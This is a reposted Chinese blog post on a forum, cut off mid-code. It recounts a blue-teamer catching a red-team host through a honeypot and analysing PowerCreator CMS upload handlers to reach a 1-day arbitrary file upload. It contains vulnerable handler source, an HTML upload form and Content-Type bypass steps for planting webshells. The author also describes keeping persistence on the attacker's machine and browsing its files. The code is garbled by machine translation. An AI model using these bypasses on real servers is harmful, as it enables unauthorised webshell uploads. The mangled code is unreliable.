搜索

[21632] 2021-01-29_从蜜罐上线到1day发现

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-01-29_从蜜罐上线到1day发现 从 蜜 罐 上 线 到 1 d a y 发 现 L e m o n S e c   2 0 2 1 - 0 1 - 2 9 转 载 ： 转 载 ： l a z y 小 远 小 远 前 言 前 言 2 0 2 0 年 某 网 行 动 期 间 ， 深 夜 难 眠 ， 回 想 起 今 天 w a f 上 一 大 堆 误 报 和 几 无 几 几 的 替 换 ， 甲 方 爸 爸 提 供 的 两 荤 一 素 已 经 换 成 了 白 粥 榨 菜 ， 农 夫 已 经 换 成 了 怡 宝 ， 猪 肉 换 成 榨 菜 ， 或 许 我 们 是 时 长 一 个 月 实 习 生 的 身 份 ， 已 经 彻 底 暴 露 了 ， 明 天 不 知 道 是 不 是 只 能 吃 开 水 泡 面 了 。 唉 ， 明 天 又 要 穿 上 白 衬 衫 ， 继 续 假 装 自 己 是 5 年 工 作 经 验 的 安 全 专 家 ， 今 晚 终 于 认 清 现 实 ， 活 捉 红 队 0 d a y 依 然 是 我 们 遥 不 可 及 的 梦 。 生 而 为 人 ， 我 很 抱 歉 。 突 然 叮 咚 一 声 ， 服 务 器 酱 提 示 C S 有 人 上 线 了 ， 之 前 的 悲 伤 已 经 烟 消 云 散 ， C S 上 号 一 看 ， 是 一 台 红 队 机 器 ， 有 人 踩 了 蜜 罐 哈 哈 。 做 好 权 限 维 持 以 后 就 开 始 翻 他 的 文 件 （ 坏 笑 ） 。 在 这 个 人 的 冰 蝎 里 发 现 了 多 个 s h e l l ， 其 中 有 两 个 w e b s h e l l 的 路 径 比 较 特 别 ， 引 起 了 我 的 注 意 ， 从 而 进 行 了 一 波 分 析 ， 虽 然 我 无 法 活 捉 红 队 的 0 d a y ， 但 是 经 过 努 力 ， 成 功 分 析 出 了 一 个 1 d a y 。 分 析 分 析 这 两 个 w e b s h e l l 是 这 样 的 h t t p : / / x x x . x x x . x x x . x x x / R e s o u r c e P i c / M Q = = . A S P X   h t t p : / / x x x . x x x . x x x . x x x / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / 4 8 5 b 1 b 7 1 - 8 0 3 5 - 4 4 c 1 -   9 c e b - 6 3 7 c d 6 8 e d a 1 9 . A S P X ： 这 两 个 站 点 ， 发 现 都 是 P o w e r C r e a t o r   C M S 这 一 框 架 ， 如 果 排 除 是 通 过 弱 密 码 进 入 的 后 台 ， 在 后 台 上 传 g e t s h e l l 等 可 能 外 ， 应 该 是 使 用 任 意 文 件 上 传 扩 展 进 行 攻 击 的 。 在 互 联 网 上 进 行 了 一 通 搜 索 ， 并 没 有 发 现 这 个 C M S 的 任 意 文 件 上 传 有 效 载 荷 ， 但 是 在 C N V D 中 发 现 了 关 于 这 个 C M S 的 突 破 描 述
C N V D - 2 0 1 7 - 0 7 2 9 0 ， 漏 洞 描 述 ： P o w e r C r e a t o r   C M S 存 在 任 何 文 件 上 传 漏 洞 ， 该 漏 洞 源 于 C M S 编 辑 器 未 对 文 件 上 传 做 任 何 校 验 ， 允 许 攻 击 者 利 用 扩 展 上 传 任 意 格 式 文 件 ， 获 得 服 务 器 控 制 权 。 C N V D - 2 0 1 9 - 4 3 5 9 8 ， 漏 洞 描 述 ： P o w e r C r e a t o r   C M S 存 在 文 件 上 传 漏 洞 ， 攻 击 者 可 利 用 该 入 侵 获 取 网 站 服 务 器 控 制 权 注 意 到 C N V D - 2 0 1 7 - 0 7 2 9 0 是 C M S 编 辑 器 插 件 的 漏 洞 ， 而 C N V D - 2 0 1 9 - 4 3 5 9 8 是 C M S 本 身 的 漏 洞 ， 厂 商 均 未 提 供 修 复 方 案 ， 那 么 看 来 ， 是 通 杀 全 部 系 统 了 编 辑 器 任 意 文 件 上 传 编 辑 器 任 意 文 件 上 传 根 据 描 述 ， 是 编 辑 器 的 漏 洞 ， 查 看 原 始 码 发 现 该 C M S 采 用 了 k i n d e d i t o r 编 辑 器 ， 该 编 辑 器 存 在 任 何 文 件 上 传 拆 分
因 为 这 个 是 烂 大 街 的 东 西 ， 关 于 对 k i n d e d i t o r 编 辑 器 任 何 文 件 上 传 的 分 析 文 章 网 上 一 搜 一 大 堆 ， 因 此 这 里 就 略 了 。 另 外 反 复 复 现 发 现 ， 只 能 传 t x t 和 h t m l ， 不 能 传 a s p x ， 很 鸡 肋 。 第 一 处 任 意 文 件 上 传 防 御 第 一 处 任 意 文 件 上 传 防 御 U p l o a d R e s o u r c e P i c . a s h x 根 据 发 现 的 两 个 外 壳 ， 很 明 显 外 壳 的 命 名 不 是 通 过 k i n d e d i t o r 编 辑 器 上 传 的 ， 一 定 是 通 过 其 他 的 方 法 上 传 上 去 的 ， 然 后 我 们 来 分 析 一 下 突 破 到 底 在 哪 呢 ？ 找 到 具 有 上 传 功 能 的 点 ， 发 现 了 u p l o a d 目 录 里 全 是 上 传 功 能 文 件 再 结 合 第 一 个 w e b s h e l l 路 径 ： 第 一 个 外 壳 ： h t t p   :   / / x x x . x x x . x x x . x x x / R e s o u r c e P i c / M Q = = . A S P X 根 据 这 个 R e s o u r c e P i c 目 录 ， 发 现 是 上 传 功 能 目 录 下 U p l o a d R e s o u r c e P i c . a s h x 这 样 一 个 文 件 上 传 后 保 存 的 位 置 ， 进 行 进 行 代 码 审 核 < ％ ％ @     W e b H a n d l e r   语 言 =   “   C ＃ ”   类 =   “   U p l o a d R e s o u r c e P i c ”     ％ ％ >
使 用 使 用   S y s t e m   ； ； 使 用 使 用   S y s t e m . W e b   ;   公 共 公 共   类 类   U p l o a d R e s o u r c e P i c     ： ：   I H t t p H a n d l e r   {         公 共 公 共   无 效 无 效   P r o c e s s R e q u e s t   （ （ H t t p C o n t e x t   上 下 文 ） ）         {                 上 下 文 。 。 反 应 。 。 C o n t e n t T y p e     =     “ 文 本 / 纯 文 本 ”   ； ；                 字 符 串 字 符 串   r i d     =     c o n t e x t   。 。 要 求 [   “   R e s o u r c e I D ”   ]   ? ?     字 符 串 字 符 串 。 。 空 ;                   如 果 如 果   （ ！ （ ！ 字 符 串 字 符 串 。 。 I s N u l l O r E m p t y   （ （ R I D   ） ） ） ）                 {                         如 果 如 果   （ （ 背 景 。 。 请 求 。 。 文 件 。 。 计 数   >     0   ） ）                         {                                   H t t p P o s t e d F i l e   文 件   =   背 景 。 。 要 求 。 。 文 件 [   0   ] ;                                   字 符 串 字 符 串   U r l     =     P o w e r C r e a t o r   。 。 M e d i a S e r v e r   。 。 P u b l i c C l a s s   。 。 W e b U t i l s   。 。 W e b 根 目 录   +   “   /   R e s o u r c e P i c   / ”   ； ；                                 字 符 串 字 符 串   P a t h     =     c o n t e x t   。 。 服 务 器 。 。 M a p P a t h   （ （ U r l   ） ） ;                                   如 果 如 果   （ （ 系 统 。 。 I O   。 。 目 录 。 。 已 存 在 （ （ 路 径 ） ）   = =   假 假 ） ）                                 {                                         系 统 。 。 I O   。 。 目 录 。 。 C r e a t e D i r e c t o r y   （ （ P a t h   ） ） ;                                   }                                 字 符 串 字 符 串   e x t     =     f i l e   。 。 F i l e N a m e   。 。 子 串 （ （ 文 件 。 。 F i l e N a m e   。 。 L a s t I n d e x O f   （ （ ' 。 '   ） ） 。 ） ） 。 T o U p p e r   （ ） （ ） ;                                   如 果 如 果   （ （ 文 件 。 。 的 C o n t e n t T y p e     ！ ！ =     “ 图 像 /   J P E G ”   ） ）                                 {                                         上 下 文 。 。 反 应 。 。 写 （ （ - 2   ） ） ;                                   }                                 其 他 其 他                                 {                                         串 串   n e w F i l e N a m e     =   课 件 实 时 录 制 。 。 M e d i a S e r v e r   。 。 P u b l i c C l a s s   。 。 B a s e 6 4   。 。 编 码 （ （ r i d   ） ）   +     e x t   ;                                           文 件 。 。 另 存 为 （ （ 路 径   +     n e w F i l e N a m e   ） ） ;  
                                        文 件 。 。 另 存 为 （ （ 路 径   +     n e w F i l e N a m e   ） ） ;                                           情 境 。 。 反 应 。 。 写 （ （ n e w F i l e N a m e   ） ） ;                                   }                           }                           e l s e                           {                                 上 下 文 。 。 反 应 。 。 写 （ （ - 1   ） ） ;                           }                   }                   e l s e                   {                         上 下 文 。 。 反 应 。 。 写 （ （ “ 参 数 错 误 ”   ） ） ;                   }                 上 下 文 。 。 反 应 。 。 结 束 （ ） （ ） ;           }           p u b l i c     b o o l     I s R e u s a b l e           {                   g e t                   {                           r e t u r n   错 误 的 错 误 的 ;                   }           }   } 代 码 逻 辑 及 突 破 所 示 如 下 ：
根 据 上 面 的 分 析 ， 实 际 上 突 破 的 关 键 点 就 是 上 传 接 口 未 授 权 访 问 可 以 直 接 进 行 上 传 操 作 ， 存 在 一 个 C o n t e n t - T y p e 为 图 片 /   j p e g 的 判 断 ， 另 外 需 要 注 意 的 是 传 递 一 个 资 源 I D 变 量 才 能 成 功 进 入 到 上 传 逻 辑 。 直 接 访 问 ， 没 传 递 r i d 变 量 ， 回 显 参 数 错 误 ， 因 此 上 传 接 口 前 面 没 有 任 何 校 正 ， 可 以 直 接 进 行 文 件 上 传 操 作 给 r i d 变 量 赋 一 个 值 ， 也 即 任 意 使 用 g e t 方 法 或 p o s t 方 法 传 递 R e s o u r c e I D 变 量 ， 但 是 由 于 不 存 在 文 件 上 传 操 作 ， 报 文 类 型 不 符 合 m u l t i p a r t /   f o r m - d a t a 规 范 ， 因 此 返 回 - 1
那 么 只 要 本 地 构 造 一 个 上 传 表 单 ， 在 上 传 的 时 候 将 C o n t e n t - T y p e 改 成 图 片 /   j p e g ， 就 可 以 进 行 任 意 文 件 上 传 ， 上 传 过 后 文 件 命 中 会 是 R e s o u r c e I D 变 量 的 值 进 行 b a s e 6 4 编 码 + 上 传 文 件 的 扩 展 名 本 地 构 造 表 单 <   f o r m     a c t i o n   =   “   h t t p : / / x x x . x x x . x x x . x x x / u p l o a d / U p l o a d R e s o u r c e P i c . a s h x ? R e s o u r c e I D = 1 ”     e n c t y p e   =   “   m u l t i p a r t   /   f o r m - d a t a ”   方 法 =   “   P O S T ”   >   < 输 入 输 入   类 型 =   “   f i l e ”   类 =   “   f i l e 1 ”   名 称 =   “   f i l e 1 ”     / >   < 按 钮 按 钮   类 型 =   “ 提 交 ”     c l a s s   =   “   b u t 1 ”   > 上 传 < /   b u t t o n   >   < /   f o r m   > 改 一 个 C o n t e n t - T y p e 为 i m a g e   /   j p e g ， 即 可 成 功 g e t s h e l l 第 二 处 任 意 文 件 上 传 防 御 第 二 处 任 意 文 件 上 传 防 御 u p l o a d C o u r s e P i c . a s h x 接 下 来 还 有 一 个 w e b s h e l l ， h t t p :   / / x x x . x x x . x x x . x x x / f i l e M a n a g e r / U p l o a d F i l e / C o u r s e P i c / 4 8 5 b 1 b 7 1 - 8 0 3 5 - 4 4 c 1 - 9 c e b - 6 3 7 c d 6 8 e d a 1 9 . A S P X 一 样 的 想 法 ， 找 些 功 能 函 数 可 以 上 传 到 /   f i l e M a n a g e r   /   U p l o a d F i l e   /   C o u r s e P i c   / 目 录 ， 发 现 是 u p l o a d C o u r s e P i c . a s h x < ％ ％ @     W e b H a n d l e r   语 言 =   “   C ＃ ”   类 =   “   u p l o a d C o u r s e P i c ”     ％ ％ > 使 用 使 用   S y s t e m   ； ； 使 用 使 用   S y s t e m . W e b   ;  
使 用 使 用   S y s t e m . W e b   ;   公 共 公 共   类 类   u p l o a d C o u r s e P i c     ： ：   I H t t p H a n d l e r   {         公 共 公 共   无 效 无 效   P r o c e s s R e q u e s t   （ （ H t t p C o n t e x t   上 下 文 ） ）         {                 上 下 文 。 。 反 应 。 。 C o n t e n t T y p e     =     “ 文 本 / 纯 文 本 ”   ； ；                 字 符 串 字 符 串   d e l F i l e N a m e     =     c o n t e x t   。 。 请 求 [   “   f i l e N a m e ” ] ;                   字 符 串 字 符 串   C o u r s e I D     =     c o n t e x t   。 。 要 求 [   “   C o u r s e I D ”   ] ;                   如 果 如 果   （ ！ （ ！ 字 符 串 字 符 串 。 。 I s N u l l O r E m p t y   （ （ C o u r s e I D   ） ） ） ）                 {                         如 果 如 果   （ （ d e l F i l e N a m e     = =   新 新   课 件 实 时 录 制 。 。 媒 体 服 务 器 。 。 课 程 。 。 逻 辑 。 。 课 程 （ ） 。 （ ） 。 负 载 （ （ I N T   。 。 解 析 （ （ C o u r s e I D   ） ） 。 ） ） 。 P i c P a t h   ） ）                                 d e l F i l e N a m e     =     “ ”   ;                   }                 如 果 如 果   （ ！ （ ！ 字 符 串 字 符 串 。 。 I s N u l l O r E m p t y   （ （ d e l F i l e N a m e   ） ） ） ）                 {                         尝 试 尝 试                         {                                 系 统 。 。 I O   。 。 文 件 。 。 删 除 （ （ 背 景 。 。 服 务 器 。 。 的 M a p P a t h   （ （ d e l F i l e N a m e   ） ） ） ） ;                           }                         捕 获 捕 获   （ （ 异 常   Ê   ） ）   {     }                   }                 如 果 如 果   （ （ 上 下 文 。 。 请 求 。 。 文 件 。 。 计 数   >     0   ） ）                 {                           H t t p P o s t e d F i l e   文 件   =   上 下 文 。 。 要 求 。 。 文 件 [   0   ] ;                           字 符 串 字 符 串   U r l     =     P o w e r C r e a t o r   。 。 M e d i a S e r v e r   。 。 P u b l i c C l a s s   。 。 W e b U t i l s   。 。 W e b R o o t     +     “   /   f i l e M a n a g e r   /   U p l o a d F i l e   /   C o u r s e P i c   / ”   ;                           字 符 串 字 符 串   P a t h     =     c o n t e x t   。 。 服 务 器 。 。 M a p P a t h   （ （ U r l   ） ） ;                           如 果 如 果   （ （ 系 统 。 。 I O   。 。 目 录 。 。 已 存 在 （ （ 路 径 ） ）   = =   假 假 ） ）                         {                                 系 统 。 。 I O   。 。 目 录 。 。 C r e a t e D i r e c t o r y   （ （ P a t h   ） ） ;                           }
                        字 符 串 字 符 串   e x t     =     f i l e   。 。 F i l e N a m e   。 。 子 串 （ （ 文 件 ， ， 文 件 名 。 。 L a s t I n d e x O f   （ （ ' '   ） ） 。 ） ） 。 T o U p p e r   （ ） （ ） ;                           i f     （ ！ （ ！ “   . P N G . J P G ”   。 。 包 含 （ （ e x t   ） ） ） ）                         {                                   c o n t e x t   。 。 反 应 。 。 写 （ （ - 2   ） ） ;                           }                         字 符 串 字 符 串   n e w F i l e N a m e     =     G u i d 。 。 N e w G u i d   （ ） 。 （ ） 。 T o S t r i n g   （ ） （ ）   +     e x t   ;                           文 件 。 。 S a v e A s   （ （ P a t h     +     n e w F i l e N a m e   ） ） ;                           情 境 。 。 反 应 。 。 写 （ （ U r l     +     n e w F i l e N a m e   ） ） ;                   }                   e l s e                   {                         上 下 文 。 。 反 应 。 。 写 （ （ - 1   ） ） ;                   }           }           p u b l i c     b o o l     I s R e u s a b l e           {                   g e t                   {                           r e t u r n     f a l s e   ;                   }           }   } 前 面 一 部 分 代 码 做 了 一 个 文 件 删 除 的 操 作 ， 没 什 么 用 ， 重 点 在 2 8 行 开 始 ， 分 析 如 下 ：
突 破 原 因 在 于 ： 如 果 没 有 通 过 扩 展 扩 展 图 片 的 判 断 的 话 ， 会 返 回 - 2 ， 但 是 返 回 以 后 程 序 并 没 有 退 出 或 跳 过 文 件 上 传 操 作 ， 依 然 进 行 了 文 件 上 传 操 作 。 我 真 是 没 想 明 白 ， 开 发 了 这 一 步 判 断 的 目 的 是 什 么 。 。 。 。 。 。 。 那 么 p a y l o a d 的 构 造 就 很 简 单 了 ， 直 接 对 着 u p l o a d C o u r s e P i c . a s h x 接 口 发 一 个 m u l t i p a r t   /   f o r m - d a t a 规 范 报 文 ， 无 需 任 何 绕 过 返 回 了 一 个 - 2 ， 紧 接 着 跟 着 了 成 功 上 传 的 w e b s h e l l 的 地 址 ， 和 我 们 分 析 的 预 期 一 模 一 样 第 三 处 任 意 文 件 上 传 漏 洞 第 三 处 任 意 文 件 上 传 漏 洞 U p l o a d L o g o . a s h x 本 来 分 析 应 该 到 此 为 止 了 ， ， 正 好 作 为 一 个 合 格 的 划 水 的 蓝 方 ， 闲 着 也 是 闲 着 ， 不 如 把 其 他 上 传 接 口 也 一 并 看 一 遍 吧 ， U p l o a d L o g o . a s h x ， 代 码 如 下 ： < ％ ％ @     W e b H a n d l e r   语 言 =   “   C ＃ ”   类 =   “   U p l o a d L o g o ”     ％ ％ > 使 用 使 用   S y s t e m   ； ； 使 用 使 用   S y s t e m . W e b   ;   公 共 公 共   类 类   U p l o a d L o g o     ： ：   I H t t p H a n d l e r     {
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理